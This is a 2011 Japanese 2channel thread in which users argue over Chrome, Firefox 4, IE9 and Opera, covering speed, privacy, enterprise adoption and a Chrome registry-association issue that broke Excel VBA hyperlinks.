そして後発の影響食らってFlockは死亡w

534 :名無しさん@お腹いっぱい。:2011/05/01(日) 10:34:02.16 ID:P7fbyGpb0
SNS対応なんかアドオンなりエクステンションなりでいいような気もするけどな
専ブラや専用クライアントがあるってことは需要もあるのかな
つうか、2ch,4ch,etcの専ブラ機能が付けば化けるんじゃね?Rockmeltもさ

535 :名無しさん@お腹いっぱい。:2011/05/01(日) 10:36:17.07 ID:XExI/5Uj0
>>533
Flockって終了してたんだな。知らなかった。

536 :518:2011/05/01(日) 10:37:46.74 ID:227cuSDB0
>>534
そんなマイナーなのコミュニティに需要があるのかどうか・・

537 :名無しさん@お腹いっぱい。:2011/05/01(日) 10:48:56.12 ID:P7fbyGpb0
>>536
…………だよね
2ちゃん脳になってる自分に水を掛けられた気分だわ
ありがとう

538 :名無しさん@お腹いっぱい。:2011/05/01(日) 10:53:23.81 ID:dtUkzxZ+0
自称国産ブラウザにそういう機能がつくならともかく、アメリカ産のブラウザにそういう機能は付かない

539 :名無しさん@お腹いっぱい。:2011/05/01(日) 19:17:17.31 ID:wyvb7V6o0
RockmeltはSNSキモオタ専用ブラウザ

540 :名無しさん@お腹いっぱい。:2011/05/02(月) 08:33:36.12 ID:9cqlGCyI0
煽りに反応するほどRockmeltのユーザーがいないってことか。

ま、クロームの普及もGoogleの資金と宣伝で一気に進んだワケだから、
Facebookが本腰でプッシュすれば情勢は多少変化するかもな。

541 :名無しさん@お腹いっぱい。:2011/05/02(月) 09:08:00.35 ID:ogj2sm7E0
そもそもRockmeltはスレ違い

542 :名無しさん@お腹いっぱい。:2011/05/02(月) 09:41:32.26 ID:kR5SaF530
オペラはChromeの下位互換
つまり劣化Chrome

543 :名無しさん@お腹いっぱい。:2011/05/02(月) 10:03:14.95 ID:ogj2sm7E0
下位互換性と劣化の関連がわからない
そもそも下位互換性ってのもどうかと思うが

544 :名無しさん@お腹いっぱい。:2011/05/02(月) 10:21:04.43 ID:E744dgh50
>>543
乞食ハトに餌やっちゃだめですよ

545 :名無しさん@お腹いっぱい。:2011/05/02(月) 10:33:50.26 ID:PZF2TPJn0
IE9とFx4のおかげでChromeの出番がなくなった
裸の状態でコールドスタートアップが速いぐらいしか利点がない

546 :名無しさん@お腹いっぱい。:2011/05/02(月) 11:11:29.51 ID:YpCJjoJA0
>>545
いや、Chrome 常用してた人にとっては、
Firefox も IE も、出番は最初から最後までなかったわけでw

547 :名無しさん@お腹いっぱい。:2011/05/02(月) 12:59:09.53 ID:tJoGt1CJ0
起動はIEのが速いし、アドオンはFxの方が豊富だし
ChromeはXP厨くらいにしか需要がないよね。
XPはこれからジリ貧だからその需要も減っていくが。

548 :名無しさん@お腹いっぱい。:2011/05/02(月) 13:50:29.23 ID:YpCJjoJA0
>>547
悔しそうだなww
Chrome 使え。他のブラウザ必要なくなるから。
拡張機能も既に豊富になってるし、Firefox からの乗り換えもOKだ。

549 :名無しさん@お腹いっぱい。:2011/05/02(月) 14:02:52.51 ID:P3+UAOi00
chrome入れたがメモリ喰うので
firefoxの高速化とやらをやってみたが見違えるほど速くなってchromeと大差なくなった
結局スペック次第じゃないかな
core2 duo E8400、オンボあたりでも十分速いし

550 :名無しさん@お腹いっぱい。:2011/05/02(月) 14:40:36.51 ID:o5v15qrz0
>>548
なにがOKなのかよくわからん

551 :名無しさん@お腹いっぱい。:2011/05/02(月) 14:48:30.90 ID:qZUvDqzs0
UIを柔軟に変更したい奴はFirefox
動作の軽快さがほしい奴はChromeで住み分けすればいい
今一方を使ってるやつはそこから移る理由はないだろうし、GoogleもMozillaも
今の方向性を変えるつもりはないだろう

552 :518:2011/05/02(月) 15:03:16.39 ID:D8xEYmpZ0
>>540 正直に言うとFacebook漬けで2chになんてこなくなっちゃうんだよ
Facebookアカウント持ってないと使えないし

553 :名無しさん@お腹いっぱい。:2011/05/02(月) 15:15:35.13 ID:bzJhy4lf0
>>551
変えるつもりないんなら、Fx4はあんな外観にする必要ないんだけど。

554 :名無しさん@お腹いっぱい。:2011/05/02(月) 15:30:28.33 ID:qZUvDqzs0
そりゃ見かけは多少変わるだろうけど
xul使ってる限り使わないやつが使わないのと使うやつが使う主な理由は変わらない

555 :名無しさん@お腹いっぱい。:2011/05/02(月) 16:19:16.17 ID:CF3biIhq0
Firefox3.6 使ってた友人が言ってた。
「Chrome UI 変すぎだろwどこが使い勝手がいいのかわからん。タブの位置も変だし、使いづらい。」
「Chrome 早いだけじゃん、とりえなんて。数ミリ秒の差なんて関係ねぇよ。」

そして、Firefox4 になって、こう騒ぎ出した。
「Firefox4 神過ぎる。シンプルな UI になった。」
「Firefox4 スゲー軽くなった。今までと速度がぜんぜん違う。」

俺は、そんなに喜ぶのであれば、なんで Chrome にしなかったのか不思議に思ったが、
彼にとって、Firefox を使うことがアイデンティティなのだと理解し、何も言わなかった。

556 :名無しさん@お腹いっぱい。:2011/05/02(月) 16:23:06.35 ID:P3+UAOi00
メニューボタンはいくらなんでもやりすぎな気がしたw
寸法と位置がw

557 :名無しさん@お腹いっぱい。:2011/05/02(月) 16:23:35.62 ID:XNelzKJtP
リアルでブラウザがどうとか話しないよw

558 :名無しさん@お腹いっぱい。:2011/05/02(月) 16:31:46.08 ID:8iHSKsv70
タブの位置は速攻入れ替えたよw
チェックつけるだけですむしな
本当に狐使い込んでる人はタブを上にするかは怪しい

559 :名無しさん@お腹いっぱい。:2011/05/02(月) 16:39:03.84 ID:I3JhzBCA0
最初は少し苦痛だったけれど、三日もしないうちにTabs on Topに慣れたわ。

560 :名無しさん@お腹いっぱい。:2011/05/02(月) 17:27:25.65 ID:JFy0hwosP
2ch以外でブラウザの話とかきも過ぎるな
趣味なさ過ぎ

561 :名無しさん@お腹いっぱい。:2011/05/02(月) 17:50:46.81 ID:thglxi/C0
>>560
リアルですることあるけどな。

それも女と。意外とブラウザオタクの女の子っていたりするもんだよ。
って言っても2人しか知らないけど。
そういうガジェット好きって男女関係ないんだな。

男でもPC興味ない奴は、おまえどうした?本当に21世紀生きてきたのか?
っていうぐらい興味を示さないしな。

562 :名無しさん@お腹いっぱい。:2011/05/02(月) 18:02:48.89 ID:P3+UAOi00
さすがGWだ

563 :名無しさん@お腹いっぱい。:2011/05/02(月) 18:12:29.84 ID:Q4GlF80+0
IT業界の人間なら世間話として普通に話すだろ
論争まではしないけどさw

564 :名無しさん@お腹いっぱい。:2011/05/02(月) 18:41:14.88 ID:dwZIOjsIP
論争はあくまでネタとして

565 :名無しさん@お腹いっぱい。:2011/05/02(月) 19:20:39.74 ID:TV0G/pmH0
他人にブラウザを押し付けたりはしないな
押し付けたら問題が起きた時にサポートする羽目になるし

566 :名無しさん@お腹いっぱい。:2011/05/02(月) 19:24:50.08 ID:jwoNhQqo0
IT業界の人間なら普通にするな
メーラーですらする、「あまり使われてないけどShurikenいいのにな〜」とかさ

普通の会社じゃ、普通にIEでサービスはGoogle依存なんてーのが多いと思う
ブラウザーとしては、Chrome、企業で使われてるんかいな?w

ちなみに 政治関係直結の人 はブラウザーでChromeって凄い嫌がるよなw

567 :名無しさん@お腹いっぱい。:2011/05/02(月) 19:27:10.39 ID:CF3biIhq0
>>566
セキュリティー考えたときは Chrome が一番いいんだけどね。

568 :名無しさん@お腹いっぱい。:2011/05/02(月) 19:28:59.89 ID:MRmQDl/z0
企業でクロームとか爆笑だな
IEの方がマシだろ

569 :名無しさん@お腹いっぱい。:2011/05/02(月) 19:29:12.55 ID:TV0G/pmH0
そのかわりGoogleに情報が流れます

570 :名無しさん@お腹いっぱい。:2011/05/02(月) 19:34:32.20 ID:jwoNhQqo0
>>567
そうなんだけどさ
(IT外の)会社会社色々見てるとさ

IE使ってて、普通〜にJ-Wordツールバー、Yahooツールバー2段表示でw
メールはG-mail投げっぱで、そこから転送で自分のPC〜携帯なんて〜の多くて・・・

これじゃ〜、漏れるわなw

571 :名無しさん@お腹いっぱい。:2011/05/02(月) 19:42:31.63 ID:JFy0hwosP
さすがに企業なら永遠にさようならJWordコピペは実行してないとやばいな

572 :名無しさん@お腹いっぱい。:2011/05/02(月) 19:52:17.85 ID:CF3biIhq0
>>568
ブラウザに関しては、「 IE 使え!」って強制する企業は少ないと思うけど・・・。
会社次第というか、業務次第じゃないの?
事務系だったら、ガチガチに固められても文句は言えないだろうけどね。
ちなみに、業務と関係ないページ閲覧してサボってたりするのを防ぐのは、
社内鯖側でやってるのが普通なわけで、ブラウザ自体は殆ど関係ない。
ていうか、他の企業がどうしているかなんてあまり知る術自体がないので、
確証を持って話せるわけじゃないけど。

>>569
Google で検索すれば Google に情報が流れ、
Bing で検索すれば MS に情報が流れ、
Yahoo で検索すれば Yahoo に情報が流れる。

ブラウザ関係ないだろw

573 :名無しさん@お腹いっぱい。:2011/05/02(月) 19:54:10.81 ID:jwoNhQqo0
俺が見たところPC業界で一番守り固いのは、IBMだったな
ここはしっかりしてる

ヤバいのは、病院関係だなw
有名な大病院にしたって、後ろに大手メーカー保守ついてる癖に今だXPでIE6でJ-Word付きなんてやってるしさw
しかも、セキュリティソフトですら、いったい何時の時代の物?って目疑うようなの使ってたり
Javaは更新されてなかったり・・・
未だにダイヤルアップ接続でデーターやりとりするPCまで、使っていたりするw

574 :名無しさん@お腹いっぱい。:2011/05/02(月) 21:13:57.96 ID:8iHSKsv70
ChromeはGmailの規約とかをみるととても使う気にはなれないだろうw
いざとなったら好き勝手やるけどいいよね?、って規約だしw
強力にお勧めしてる連中は多かれ少なかれGoogleと取引があるようなのばかり

575 :名無しさん@お腹いっぱい。:2011/05/02(月) 21:20:42.13 ID:JFy0hwosP
その点Operaメールは安心だな
規約読んでないけど

576 :名無しさん@お腹いっぱい。:2011/05/02(月) 21:27:04.82 ID:sNqUNoND0
そもそもプロパイダメール以外でまともな利用してる人いるの?
無料ですぐ作れるメールなんて漏れるの前提で使ってるけど

577 :名無しさん@お腹いっぱい。:2011/05/02(月) 21:32:11.79 ID:JtpCyXH60
普通に捨てアドだよね
メール登録しないと入れないサイトとかサービスとか用
うざくなったらすぐ捨てられるように
カード関係だのプライベートメールには普通使わない

578 :名無しさん@お腹いっぱい。:2011/05/02(月) 22:11:15.76 ID:fO/9rhWB0
Google Chrome rises at the expense of Mozilla, IE - Computer Business Review
http://media.cbronline.com/news/google-chrome-rises-at-the-expense-of-mozilla-ie-020511

579 :名無しさん@お腹いっぱい。:2011/05/02(月) 22:17:05.14 ID:TV0G/pmH0
Chromeはまだ12%しかシェアがないのか
もう20%ぐらいになってるのかと思った
Operaは完全に無視されてるけど大丈夫か?

580 :名無しさん@お腹いっぱい。:2011/05/02(月) 22:52:16.65 ID:thglxi/C0
まあOperaはこの先もこんなもんでしょう。良さがわかる人がつかえばおk

581 :名無しさん@お腹いっぱい。:2011/05/03(火) 04:08:13.53 ID:sFi+epCL0
                     /ヽ、__
           _,, -──- ....__ //`ー∠
       ,...."´:::::::::::::::__/_:::::::::ヽ!_/ヽ>
     ./:::::::::::::::::::::::::( / )::::::(@))__rイ
     〈::::::::::::::::::::::::::::::::゙゙/ ̄:::::ヽ(@@)i \
     ヽ,.'´ ̄` 7´  ̄ ̄ ´ ̄``ヽ::::::::;ヽ ヽ
      /    / /!      `ヽ  ヽ::/ヽ! ノ
      / //   { / { ト、 |  }ハ 、 ヽ|/
       |l{ { | ∧{ ヽ.{‐ヽト、ノ}ノハ   ! !
     lハハlヽ{_,.. `  、.__   リ.ハl  | |
      | ハ. (ヒ_]     ヒ_ン ) !  l  | |
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      ハ {             }  }  j/
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         | >  __,,. イ リ' /  /
          イ { l_/ ´  ._.トレ
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            トイ::☆ヽ./  :j
   ,-'⌒ヽ
   |    | _     _
  |    | /⌒ヽ /_ヽ  レ⌒`  ⌒7
  ヽ_ノ /─‐' ヽ_   |    (二Z

  r====、 r-i rt_ri   /7     r-t ri rァ            
  {モ三三ヨ} コ |`コ 厶  厶{ {二二} ニニ >V<   
 {. rァr'〒ニヲ !仁{ tァtァ }  | 仁,ニ,二} 三 { tァ }            
  !ヒi.| >t<   コ | コ r'六  | | / / r┐rニt フ ハ { 
 厶イ」<_ハ_> Lノ└ーー、j U廴二、_j└'┘V Lソ

  〜 The Legend of A Cool Browser 〜

582 :名無しさん@お腹いっぱい。:2011/05/03(火) 08:12:04.06 ID:ybzGZL+G0
plalaが無料でメールアドレスをくれるからそれを使ってる。
ネット接続用のプロバイダーを変えてもメールアドレスを変える必要がないから重宝。

583 :名無しさん@お腹いっぱい。:2011/05/03(火) 10:09:23.16 ID:KgKsxfn+0
Chrome goes back to stealing share from IE, Firefox - TechSpot News
http://www.techspot.com/news/43595-chrome-goes-back-to-stealing-share-from-ie-firefox.html

584 :名無しさん@お腹いっぱい。:2011/05/03(火) 10:10:08.67 ID:KgKsxfn+0
Why Chrome will become the world's most popular browser - Computerworld Blogs
http://blogs.computerworld.com/18222/why_chrome_will_become_the_worlds_most_popular_browser

585 :名無しさん@お腹いっぱい。:2011/05/03(火) 13:23:58.12 ID:7CWlxtoD0
ここでいう一般企業がどういうものかわからないけど
ちょっと大きな企業とかとWeb上でデータのやりとりってなると
基本IEが指定されるからな
他のブラウザだと繋がらないこともよくある
あとEUで現物商品を売るような業界だとREACH規制とかで業界標準フォーマットを
添付しないといけないんだけどこいつが曲者でエクセルにVBAでマクロ組んでて
ハイパーリンクとかも多数あるようなものが回ってくる
でもChromeいれちゃうと
HKEY_CLASS_ROOT\.html HKEY_CLASS_ROOT\.htm HKEY_CLASS_ROOT\.shtml
ここのレジストリ書き換えちゃうんでハイパーリンクが使えなくなったりするんだよね
このお行儀の悪さを直さない限り輸出を伴う企業やその関連企業で使うのは難しいんじゃないかな?

586 :名無しさん@お腹いっぱい。:2011/05/03(火) 13:45:51.85 ID:cltHTnF10
学校がfirefoxを導入してるけど
いつまでたっても3.5のままで更新が未だにされてない

587 :名無しさん@お腹いっぱい。:2011/05/03(火) 13:51:43.23 ID:yv4yrITV0
ずーとIE6のままよりましだろ
うちの学校はこのままだと2020年くらいまでIE6の可能性もある

588 :名無しさん@お腹いっぱい。:2011/05/03(火) 14:20:16.94 ID:pTjOnmMz0
>>586
システム管理者がやる気ないから
俺の会社も同じ理由でFirefox3.5のまま

589 :名無しさん@お腹いっぱい。:2011/05/03(火) 14:38:15.22 ID:yv4yrITV0
やる気以外の問題もあるよな
問題が出てシステムが一時的に使えなくなるのを防ぐとか

590 :名無しさん@お腹いっぱい。:2011/05/03(火) 14:48:09.45 ID:5VmrWzQ+0
ブラウザのUIが変わると仕事の能率落ちる人も出るだろうしな

591 :名無しさん@お腹いっぱい。:2011/05/03(火) 14:55:43.66 ID:aEgjPnsN0
>>585
Web閲覧で?相手方にIE強制するなんて、
かなり特殊な企業の話だと思うよw

エクセルをなぜブラウザで開かなければならない?のかとか
かなり意味不明だから、もっと整理して話してくれ。


592 :名無しさん@お腹いっぱい。:2011/05/03(火) 15:06:05.20 ID:5VmrWzQ+0
エクセルというかオフィスはリースの所はそろそろリボン付きの奴に切り替わるから
一気に人気落ちそうだけどな
いまでも完全に慣れてないし

593 :名無しさん@お腹いっぱい。:2011/05/03(火) 15:15:06.91 ID:doIDKRnx0
>>591
読んでわからなかったのか。

IEに限定するのはシステムを利用する環境としてだ。特殊な企業ではなく普通の企業
の話だ。エクセルをブラウザで開くのはシステムの仕様がそうなっているからだ。

自身の読解力のなさを相手のせいにしてはいけない。

594 :名無しさん@お腹いっぱい。:2011/05/03(火) 15:28:25.18 ID:aEgjPnsN0
>>593
普通、読み手が分かりにくいって言ったら、
書き手の方が分かりやすく書いていないって自省するものだと思うんだが、
読み手側の読解力に責任転嫁するとはなかなかやるなw

ちなみに、エクセル「で」、Webページ「を」開くの?それとも、
Webブラウザ「で」Excel「を」開くの?
一応、>>593の言葉通り受け取って後者だとしても、
普通の企業なら、エクセルファイルはエクセル上で開くべ?

多分、システムの仕様っていうのは、ActiveX使った業務アプリ使ってるってことかな?
まぁやっぱり少し特殊な業界だと思うけど・・・。

とはいっても、どの業界も局所的には特殊なわけで、
別にそういう事があってもおかしくはないんだろうけどね。
企業によって色々あるから。未だにDOSアプリの変換作業している所もあるくらいだしw

595 :名無しさん@お腹いっぱい。:2011/05/03(火) 15:30:05.56 ID:egWYMAj80
一番セキュリティレベルの高いブラウザって何?

596 :名無しさん@お腹いっぱい。:2011/05/03(火) 15:39:51.27 ID:aEgjPnsN0
>>595
一般的に普及しているブラウザの中では文句なく Chrome

597 :名無しさん@お腹いっぱい。:2011/05/03(火) 15:41:25.93 ID:yv4yrITV0
>>595
だが狙われにくさはOpera

598 :名無しさん@お腹いっぱい。:2011/05/03(火) 15:41:31.31 ID:aEgjPnsN0
例えば
ttp://jp.techcrunch.com/archives/20110207hack-google-chrome/
あたりが参考になる。

599 :名無しさん@お腹いっぱい。:2011/05/03(火) 15:42:39.72 ID:CycnN/NEP
クロームのフラッシュサンドボックスをOperaにつければ最強になるだろうな

600 :名無しさん@お腹いっぱい。:2011/05/03(火) 15:42:51.06 ID:7CWlxtoD0
>>591
詳しい話になるんだけどSONYとかパイオニアとかCANONとか取引あるんだけど
取引データとか環境データや検定データのアップロードとか基準書の配布とか専用ツールを使わず
ブラウザ上で動かすシステム使っているんだけどこれがIEしかサポートしてないの

あとエクセルをブラウザで開くんじゃなくでエクセル内の他のページとか
他のエクセルシートからデータ参照にハイパーリンクを使うVBAが組まれてる標準フォーマットなんだけど
レジストリを書き換えられるとこいつがうまく動いてくれないんだよ

例えばJGPSSIとかJAMAシートって環境用標準フォーマットなんだけどさ
しかもこいつはエクセルしかサポートしてないからOOo系じゃマクロすら動いてくれない
業界標準だからかってに中身を書き換えるわけにもいかないしな
そうしたら他社でこのデータが開けないとかそういう事態に陥るし

こういうお行儀の悪い事しちゃうのがChrome
ビジネスマンが〜とかよく聞くけどWeb閲覧しかしないとかエクセル系のシートから
逃れられるような業務じゃなければ企業でChromeは採用しづらいよ

601 :名無しさん@お腹いっぱい。:2011/05/03(火) 15:43:10.77 ID:doIDKRnx0
>>594
読み手に十分な読解力があると仮定できるならば、普通読み手がわかりにくいって言
ったら、書き手の方が分かりやすく書いていないって自省するだろうな。他の読み手
がわかっていてお前だけわかっていないのであれば、お前の読解力が不足している蓋
然性が高い。

>>591にお前が書いているだろ、エクセル「を」なぜブラウザ「で」開かなければな
らない。システムの仕様だ。普通の企業がエクセルファイルをエクセルで開くことは
関係ない。意味不明で整理して話す必要があるのはお前の方だ。

>未だにDOSアプリの変換作業している所もあるくらいだしw
なにが面白いの?

602 :名無しさん@お腹いっぱい。:2011/05/03(火) 15:44:08.75 ID:egWYMAj80
>>598
これ結局Chromeがまた今年勝ち残ったの?

603 :名無しさん@お腹いっぱい。:2011/05/03(火) 16:22:18.42 ID:aEgjPnsN0
>>600
なるほどねぇ。よく分かった。(多分w)

>専用ツールを使わずブラウザ上で動かすシステム
多分そのシステムっつーのが ActiveX 依存だと思う。
ActiveX 依存だったら、IE使わざるを得ないよね。
多分 Firefox でも動かないでしょ?

次に、レジストリいじる件についてだけど、これは別にChromeに限らず、
「規定のブラウザ」変更した場合、何らかの変更があるはずだよね。
Chrome の場合は .htm, .html, .shtml を ChromeHTMLの
ファイルタイプに変更して、ChromeHTML を Chrome に関連付けしているだけで、
規定の動作だと思う。
(なんかアンインストール時に行儀悪いことしてるのかもしれないけど。)

>JGPSSIとかJAMAシートって環境用標準フォーマット
結局、このフォーマットっていうのが、 IE 依存してるってことに見えるなぁ。
つまり、業界標準フォーマット が使用している Excel の一部のマクロが、
IE しか許さない設定に成っているように思う。

となると、問題としては、
1.業務で動かしている Webアプリ が ActiveX 依存(つまりIEしか不可)だった
2.Excel の一部のマクロが、IE コンポーネント依存であるにも関わらず、
   IEではない可能性のある 「規定のWebブラウザ」を呼び出す可能性があるバグを含んでいた。
ってことに集約される気がする・・・

まぁ ActiveX 依存のシステムなんて結構あるはずだし、そのために
IE が使われるのはよくあることといえば良くあることかもね。
それとOffice 製品は自社のバグを他社製品の責任にしちゃまずいだろw


604 :名無しさん@お腹いっぱい。:2011/05/03(火) 16:30:49.85 ID:aEgjPnsN0
>>601
おつちけ。

605 :名無しさん@お腹いっぱい。:2011/05/03(火) 16:40:31.00 ID:doIDKRnx0
>>604
おつちいた。俺が間違っていた。すまんかった。

606 :名無しさん@お腹いっぱい。:2011/05/03(火) 16:59:40.13 ID:7CWlxtoD0
>>603
アンインスコしてもそこの書き換えたレジストリを元に戻していかないんだよね
Chromeはさ
ChromeをアンインスコしてIEを既定にしてもレジストリはそのままだから手動で書き換えってことになる

これがChromeの問題なのかwebkitの問題なのかはわからないけど
ただ、Firefoxを既定にしても問題ないんだよね

607 :名無しさん@お腹いっぱい。:2011/05/03(火) 17:28:06.50 ID:aEgjPnsN0
>>606
Chrome アンインスコしてレジストリ戻していないのなら、それは行儀が悪いね。
まぁよくあることっちゃよくあることだけど。ちなみに俺は確認はしてない。メンドイので( ´∀`)

で、Firefox 規定にしても問題ないっていうのは、今、規定にFirefox4 にしてみたら、
一応 Chrome と同じように、
HKEY_CLASSES_ROOT\.(s)htm(l)の規定値はFirefoxHTML に変更してるお

となると、そもそも、そのレジストリ値でない場所で問題が起こっている可能性があって、
1.Chrome がとんでもないところを変更している。
2.Office 製品のVBAの一部の機能が、.html等の規定値で設定されている値
  (つまり、FirefoxHTML, ChromeHTML)を用いて、Firefox や Chrome を
   呼び出し、ブラウザに備わっている機能の一部を使った。それがたまたまFirefox は
   OKで、Chrome はNG な機能だった。

1.は、考えにくいんだよね。ていうのも、修正方法が、結局該当レジストリの修正で
治るわけだから、やはり該当部分が問題に見える。

となると、2.が可能性が高いのだが、そうなると、実は Office製品側のバグなんだな。
ていうのも、サードパーティー製のコンポーネントを使った時に、期待した機能が実装されて
いない事は想定していなくてはならないので、直接IEコンポーネントを呼ぶべきだから。
行儀が悪いのは Excel の方かと。

Chrome がアンインスコ時にレジストリ値を戻していないなら、その点については
Chrome は行儀が悪いね。要望送れば特別な理由がなければ多分修正してくれるお。

608 :名無しさん@お腹いっぱい。:2011/05/03(火) 17:37:47.19 ID:7CWlxtoD0
>>607
行儀が悪いのはエクセルなのかVBA組む側がIEのみの設定が組んでいないのか
VBAでそういう事組めないのかその辺は難しいんだけど

ただ、これが治らない限り企業ででChromeは難しいと思うんだよね
まぁ、こういう環境シートもOOo版がほしいとは思うけどこういう所はエクセルのほうが
実績あるからどうしてもエクセル使っちゃうんだよね

609 :名無しさん@お腹いっぱい。:2011/05/03(火) 17:44:12.36 ID:CycnN/NEP
グーグルアップデートとかいうゴミが存在する限り行儀の悪さはブラウザ界最強

610 :名無しさん@お腹いっぱい。:2011/05/03(火) 17:55:11.18 ID:EZqmpk5U0
うざければ無効にすればいいだけ
その程度のスキルもないのか

611 :名無しさん@お腹いっぱい。:2011/05/03(火) 18:02:10.92 ID:l+YUAM9W0
そもそもつけるなよ、って話だな、そんなもの

612 :名無しさん@お腹いっぱい。:2011/05/03(火) 18:05:33.02 ID:aEgjPnsN0
>>608
多分似たようなバグ報告あがってて、解決策も書いてるので、
明らかにExcel(Office)側の問題かと。
ttp://outlooknavi.net/article/137297169.html とか。

ただ、こう言うのによくあるのは、上記サイトのような、
「Chrome アンインスコして!」って解決策じゃなくて、
キチンとなおすお!ってのが用意されていることがあることだね。
例えば、上記の別解決法(こっちがスマート)
ttp://support.microsoft.com/kb/310049

で、下の解決法だと、別にChrome だろうが問題が出なかったりする。
同じバグではないと思うけど、上の事例に似た場合がある時もあるので、
どうなのかねぇ。

基本、Office 側のバグ(聞いている限りではこっち)だとすると、
根本的な解決策が用意されている可能性もあるよ。
Office側のバグの場合、IE使っていない極稀な企業が、MSに文句言うからねぇ。

613 :名無しさん@お腹いっぱい。:2011/05/03(火) 18:27:35.54 ID:w2k9ss490
Chromeの嫌な所は、一度インストールするとPCに 刻印 刻み込まれる所なんだよ
Firefox等は、アンインストール後、レジの残骸手動で気楽に消せる
細かく消そうと思えば、レジストリエディターでMozillaやFirefox等文字列で検索、一括削除できる
が Chrome は、system権限じゃないと消せないエントリーがうじゃうじゃ作られる
一見レジストリエディターで一括削除出来たようでも、その後検索すると何度も何度もでてくる

まぁ、ポータブル版使えって事になるんだけどね

614 :名無しさん@お腹いっぱい。:2011/05/03(火) 18:45:46.05 ID:7CWlxtoD0
>>610
自分一人ならレジストリいじって解除してるよ
でも企業となればシステム担当がそんな不安定なこと許すと思うか?
それとも一台一台すべて手動で直して回るのか?
それ以来Chromeは入れてないからわかないけど手動で直してもバージョンアップしたらまた書きなおす可能性は?
それならChromeインスコ不可にしたほうがよほど安全で確実だって話

>>612
office側の問題だとしてもChrome起因が多いみたいだし
MSが対処するかChromeが対処するかどっちかが対処しなければ厳しいでしょ

615 :名無しさん@お腹いっぱい。:2011/05/03(火) 21:43:41.59 ID:VPuc15ik0
韓国、グーグル子会社捜索 無断で位置情報収集か

 韓国警察当局は3日、多機能携帯電話(スマートフォン)利用者の位置情報を無断で収集していた疑いがあるとして、
米グーグルの韓国法人を家宅捜索した。警察当局者が明らかにした。
http://sankei.jp.msn.com/world/news/110503/kor11050320450002-n1.htm

616 :名無しさん@お腹いっぱい。:2011/05/03(火) 23:48:06.59 ID:RwFf+vBW0
韓国は無断でパクるくせに無断で位置情報収集されるのは嫌なんだね

617 :名無しさん@お腹いっぱい。:2011/05/04(水) 01:48:23.41 ID:T7aA+3YV0
>>613
ほんとかいなw嘘くせw
どうしてもレジストリいじらせたくないのであれば、
Chromimum Portable 使え。
Portable 版でも IE8 よりは遥かに速いからw

>>614
レジストリいじるっつっても、regedit とか コマンドラインで対処する必要なくて、
「有名な問題であれば」、多分ツールが Microsoft から出てるでしょ。
ダウンロード→インストール→再起動 するだけだよ。
シス管が「バグフィックスは適用するな!」って言うはずないじゃんw
言ったとすれば、単にそいつが単に無能なだけ。


618 :名無しさん@お腹いっぱい。:2011/05/04(水) 04:30:45.08 ID:PqX6y2xL0
最速の座をIEに奪われたChromeの今後の反撃はあるのか!?

まあメインはFirefox、サブにChromeなんですけどね

619 :名無しさん@お腹いっぱい。:2011/05/04(水) 08:19:23.00 ID:HQ6UN42s0
>>618
使ってみればわかるけど、普通のWeb閲覧でIE9はまだChromeより遅い。
それとIE は機能なんて殆ど何も無いに等しいし、プラグイン入れだすとまた極端に遅くなる。

そして、HTML5 殆ど準拠していないから、HTML5 使ってるサイトだと正常に動かない方が多い。
なんで IE9 に反撃する必要あるの?w

620 :名無しさん@お腹いっぱい。:2011/05/04(水) 08:31:54.54 ID:JLlIRkNP0
最速最速って実際は効率に差が出ないしな。
自己満でしかない。

色々なことをやらせたいならFirefoxかOperaに限るよ。

621 :名無しさん@お腹いっぱい。:2011/05/04(水) 08:42:47.01 ID:zcwRV/Rl0
>>617
そこまでの手間かけてActiveXの使えない物入れて対処する工数を考えたら
入れないが一番簡単で工数もかからず余計なトラブルの元も作らない
対処にかける工数だってタダじゃないんだ
自分一人でPC使ってるなら問題ないけどさ

622 :名無しさん@お腹いっぱい。:2011/05/04(水) 09:27:08.03 ID:JLlIRkNP0
そうそう。
現場からしてみれば仕事の遂行が一番大切。

ブラウザの種類なんて、何でもよい
でもトラブルで業務が中断するのは最悪

余計なモノはなるべく省き、工数を減らすに限る
それがみんなの幸せ

623 :名無しさん@お腹いっぱい。:2011/05/04(水) 11:19:35.12 ID:Z6/bweS6P
HTML5とJavaScriptでは,どれくらいのゲームパフォーマンスが期待できるのか
JavaScriptのベンチマークテストはそれなりに行われているのでしょうが,
実際のところ,どれくらい「ゲームに使えるか」という観点からのものは,ほとんどないようです,そこで,前回のゲーム部分をそのままベンチマークテストに作り変えてみました。


1位 Google Chrome(ver.10.0.648.204)8121
2位 Mozilla Firefox(ver.4.0.1) 4189
3位 Safari(ver.5.0.5 build 7533.21.1) 4749
4位 Opera(ver.11.10 build 2092) 1070
5位 iPhone 4 543
6位 HTC Desire 1859

テスト環境の基本情報は以下のとおりです。
OS:64bit版Windows 7(SP1)
CPU:Core i3-M350/2.27GHz
メインメモリ容量:4GB
グラフィックスチップ:GeForce 310M
画面解像度:1366×768ドット

http://www.4gamer.net/games/032/G003263/20110503005/
ぜひご自分のお気に入りのブラウザでベンチマークをしましょう。
ほかにも詳細がのってるので残りは記事を読んでください。


624 :名無しさん@お腹いっぱい。:2011/05/04(水) 11:44:28.89 ID:2REcEHfl0
>>623
ねつ造乙

1位 Internet Explorer 9(ver.9.0.8112.16421) 12590

625 :名無しさん@お腹いっぱい。:2011/05/04(水) 12:47:56.57 ID:49ezMlsEP
安定最新版でしか図ってない時点でな

626 :名無しさん@お腹いっぱい。:2011/05/04(水) 13:22:37.77 ID:HQ6UN42s0
>>623
ていうか、enchant.js に限った計測でしょ。
同じような感じなら、 webM だと、 Chrome 圧勝だよ。
IE9 は殆ど動かない。

627 :名無しさん@お腹いっぱい。:2011/05/04(水) 13:23:30.10 ID:HQ6UN42s0
>>626
webM ちがたorz
webGL ね。

628 :名無しさん@お腹いっぱい。:2011/05/04(水) 14:55:37.90 ID:LrM5K/hV0
Chrome 11: The Best Browser? :: Hack In The Box :: Keeping Knowledge Free
https://www.hackinthebox.org/modules.php?op=modload&name=News&file=article&sid=41153

629 :名無しさん@お腹いっぱい。:2011/05/04(水) 15:04:43.17 ID:Z6/bweS6P
>>626
Microsoftの計測結果は信頼できない

マイクロソフト以外の計測結果の場合

○○に限った計測でしょ

お前は一体何を信じてるんだ?
ウェブ標準規格で動くことが前提だろ


630 :名無しさん@お腹いっぱい。:2011/05/04(水) 15:14:22.11 ID:Z6/bweS6P
>>627
そのWebGLとやらは、HTML5の標準規格なのか?
って事じゃね? 特定のブラウザ依存の規格は標準じゃないんだよ。
ベンチマークは、あくまで標準規格内で動くことが前提なんだから。

>>628
ちなみにHTML5の仕様自体がまだ確定はしてないんだよね。
